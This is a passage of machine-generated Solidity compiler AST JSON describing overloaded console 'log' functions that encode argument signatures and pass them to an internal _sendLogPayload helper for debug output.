memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23150,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61898:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23151,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61902:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61898:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61898:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23149,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"61882:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61882:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23159,"nodeType":"ExpressionStatement","src":"61882:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61806:3:14","parameters":{"id":23147,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23140,"mutability":"mutable","name":"p0","nameLocation":"61818:2:14","nodeType":"VariableDeclaration","scope":23161,"src":"61810:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23139,"name":"address","nodeType":"ElementaryTypeName","src":"61810:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23142,"mutability":"mutable","name":"p1","nameLocation":"61827:2:14","nodeType":"VariableDeclaration","scope":23161,"src":"61822:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23141,"name":"bool","nodeType":"ElementaryTypeName","src":"61822:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23144,"mutability":"mutable","name":"p2","nameLocation":"61845:2:14","nodeType":"VariableDeclaration","scope":23161,"src":"61831:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23143,"name":"string","nodeType":"ElementaryTypeName","src":"61831:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23146,"mutability":"mutable","name":"p3","nameLocation":"61854:2:14","nodeType":"VariableDeclaration","scope":23161,"src":"61849:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23145,"name":"bool","nodeType":"ElementaryTypeName","src":"61849:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"61809:48:14"},"returnParameters":{"id":23148,"nodeType":"ParameterList","parameters":[],"src":"61872:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23184,"nodeType":"FunctionDefinition","src":"61984:187:14","nodes":[],"body":{"id":23183,"nodeType":"Block","src":"62062:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c6164647265737329","id":23175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62112:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_19fd495659df511498cf8dde03672830bd109ef2d9b9bec18e72190917c328bc","typeString":"literal_string \"log(address,bool,string,address)\""},"value":"log(address,bool,string,address)"},{"id":23176,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23163,"src":"62148:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23177,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23165,"src":"62152:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23178,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23167,"src":"62156:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23179,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23169,"src":"62160:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_19fd495659df511498cf8dde03672830bd109ef2d9b9bec18e72190917c328bc","typeString":"literal_string \"log(address,bool,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23173,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62088:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23174,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62092:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62088:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62088:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23172,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62072:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62072:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23182,"nodeType":"ExpressionStatement","src":"62072:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61993:3:14","parameters":{"id":23170,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23163,"mutability":"mutable","name":"p0","nameLocation":"62005:2:14","nodeType":"VariableDeclaration","scope":23184,"src":"61997:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23162,"name":"address","nodeType":"ElementaryTypeName","src":"61997:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23165,"mutability":"mutable","name":"p1","nameLocation":"62014:2:14","nodeType":"VariableDeclaration","scope":23184,"src":"62009:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23164,"name":"bool","nodeType":"ElementaryTypeName","src":"62009:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23167,"mutability":"mutable","name":"p2","nameLocation":"62032:2:14","nodeType":"VariableDeclaration","scope":23184,"src":"62018:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23166,"name":"string","nodeType":"ElementaryTypeName","src":"62018:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23169,"mutability":"mutable","name":"p3","nameLocation":"62044:2:14","nodeType":"VariableDeclaration","scope":23184,"src":"62036:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23168,"name":"address","nodeType":"ElementaryTypeName","src":"62036:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"61996:51:14"},"returnParameters":{"id":23171,"nodeType":"ParameterList","parameters":[],"src":"62062:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23207,"nodeType":"FunctionDefinition","src":"62177:170:14","nodes":[],"body":{"id":23206,"nodeType":"Block","src":"62243:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c75696e7429","id":23198,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62293:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cfb587569c9e063cd7daed07e27d9193980aad24c48787cb6531c47fa694e463","typeString":"literal_string \"log(address,bool,bool,uint)\""},"value":"log(address,bool,bool,uint)"},{"id":23199,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23186,"src":"62324:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23200,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23188,"src":"62328:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23201,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23190,"src":"62332:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23202,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23192,"src":"62336:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cfb587569c9e063cd7daed07e27d9193980aad24c48787cb6531c47fa694e463","typeString":"literal_string \"log(address,bool,bool,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23196,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62269:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23197,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62273:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62269:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23203,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62269:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23195,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62253:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62253:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23205,"nodeType":"ExpressionStatement","src":"62253:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62186:3:14","parameters":{"id":23193,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23186,"mutability":"mutable","name":"p0","nameLocation":"62198:2:14","nodeType":"VariableDeclaration","scope":23207,"src":"62190:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23185,"name":"address","nodeType":"ElementaryTypeName","src":"62190:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23188,"mutability":"mutable","name":"p1","nameLocation":"62207:2:14","nodeType":"VariableDeclaration","scope":23207,"src":"62202:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23187,"name":"bool","nodeType":"ElementaryTypeName","src":"62202:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23190,"mutability":"mutable","name":"p2","nameLocation":"62216:2:14","nodeType":"VariableDeclaration","scope":23207,"src":"62211:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23189,"name":"bool","nodeType":"ElementaryTypeName","src":"62211:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23192,"mutability":"mutable","name":"p3","nameLocation":"62225:2:14","nodeType":"VariableDeclaration","scope":23207,"src":"62220:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23191,"name":"uint","nodeType":"ElementaryTypeName","src":"62220:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"62189:39:14"},"returnParameters":{"id":23194,"nodeType":"ParameterList","parameters":[],"src":"62243:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23230,"nodeType":"FunctionDefinition","src":"62353:181:14","nodes":[],"body":{"id":23229,"nodeType":"Block","src":"62428:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c737472696e6729","id":23221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62478:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dfc4a2e8c56809b44edbbc6d92d0a8441e551ad5387596bf8b629c56d9a91300","typeString":"literal_string \"log(address,bool,bool,string)\""},"value":"log(address,bool,bool,string)"},{"id":23222,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23209,"src":"62511:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23223,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23211,"src":"62515:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23224,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23213,"src":"62519:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23225,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23215,"src":"62523:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dfc4a2e8c56809b44edbbc6d92d0a8441e551ad5387596bf8b629c56d9a91300","typeString":"literal_string \"log(address,bool,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23219,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62454:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62458:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62454:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23226,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62454:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23218,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62438:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23227,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62438:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23228,"nodeType":"ExpressionStatement","src":"62438:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62362:3:14","parameters":{"id":23216,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23209,"mutability":"mutable","name":"p0","nameLocation":"62374:2:14","nodeType":"VariableDeclaration","scope":23230,"src":"62366:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23208,"name":"address","nodeType":"ElementaryTypeName","src":"62366:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23211,"mutability":"mutable","name":"p1","nameLocation":"62383:2:14","nodeType":"VariableDeclaration","scope":23230,"src":"62378:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23210,"name":"bool","nodeType":"ElementaryTypeName","src":"62378:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23213,"mutability":"mutable","name":"p2","nameLocation":"62392:2:14","nodeType":"VariableDeclaration","scope":23230,"src":"62387:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23212,"name":"bool","nodeType":"ElementaryTypeName","src":"62387:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23215,"mutability":"mutable","name":"p3","nameLocation":"62410:2:14","nodeType":"VariableDeclaration","scope":23230,"src":"62396:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23214,"name":"string","nodeType":"ElementaryTypeName","src":"62396:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"62365:48:14"},"returnParameters":{"id":23217,"nodeType":"ParameterList","parameters":[],"src":"62428:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23253,"nodeType":"FunctionDefinition","src":"62540:170:14","nodes":[],"body":{"id":23252,"nodeType":"Block","src":"62606:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c626f6f6c29","id":23244,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62656:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cac434792b973db16714db96d2aeda353b2253f27255abe42b9960b2dc550634","typeString":"literal_string \"log(address,bool,bool,bool)\""},"value":"log(address,bool,bool,bool)"},{"id":23245,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23232,"src":"62687:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23246,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23234,"src":"62691:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23247,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23236,"src":"62695:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23248,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23238,"src":"62699:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cac434792b973db16714db96d2aeda353b2253f27255abe42b9960b2dc550634","typeString":"literal_string \"log(address,bool,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23242,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62632:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23243,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62636:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62632:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23249,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62632:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23241,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62616:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23250,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62616:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23251,"nodeType":"ExpressionStatement","src":"62616:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62549:3:14","parameters":{"id":23239,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23232,"mutability":"mutable","name":"p0","nameLocation":"62561:2:14","nodeType":"VariableDeclaration","scope":23253,"src":"62553:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23231,"name":"address","nodeType":"ElementaryTypeName","src":"62553:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23234,"mutability":"mutable","name":"p1","nameLocation":"62570:2:14","nodeType":"VariableDeclaration","scope":23253,"src":"62565:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23233,"name":"bool","nodeType":"ElementaryTypeName","src":"62565:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23236,"mutability":"mutable","name":"p2","nameLocation":"62579:2:14","nodeType":"VariableDeclaration","scope":23253,"src":"62574:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23235,"name":"bool","nodeType":"ElementaryTypeName","src":"62574:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23238,"mutability":"mutable","name":"p3","nameLocation":"62588:2:14","nodeType":"VariableDeclaration","scope":23253,"src":"62583:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23237,"name":"bool","nodeType":"ElementaryTypeName","src":"62583:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"62552:39:14"},"returnParameters":{"id":23240,"nodeType":"ParameterList","parameters":[],"src":"62606:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23276,"nodeType":"FunctionDefinition","src":"62716:176:14","nodes":[],"body":{"id":23275,"nodeType":"Block","src":"62785:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c2c6164647265737329","id":23267,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62835:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf394485abbd1f04b85b0f2c1a2cfc07e3d51c1c6f28386bf16d9e45161e8953","typeString":"literal_string \"log(address,bool,bool,address)\""},"value":"log(address,bool,bool,address)"},{"id":23268,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23255,"src":"62869:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23269,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23257,"src":"62873:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23270,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23259,"src":"62877:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23271,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23261,"src":"62881:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf394485abbd1f04b85b0f2c1a2cfc07e3d51c1c6f28386bf16d9e45161e8953","typeString":"literal_string \"log(address,bool,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23265,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62811:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62815:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62811:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62811:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23264,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62795:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62795:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23274,"nodeType":"ExpressionStatement","src":"62795:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62725:3:14","parameters":{"id":23262,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23255,"mutability":"mutable","name":"p0","nameLocation":"62737:2:14","nodeType":"VariableDeclaration","scope":23276,"src":"62729:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23254,"name":"address","nodeType":"ElementaryTypeName","src":"62729:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23257,"mutability":"mutable","name":"p1","nameLocation":"62746:2:14","nodeType":"VariableDeclaration","scope":23276,"src":"62741:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23256,"name":"bool","nodeType":"ElementaryTypeName","src":"62741:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23259,"mutability":"mutable","name":"p2","nameLocation":"62755:2:14","nodeType":"VariableDeclaration","scope":23276,"src":"62750:7:14","stateVariable":false,"storageLocation":"default","typeDe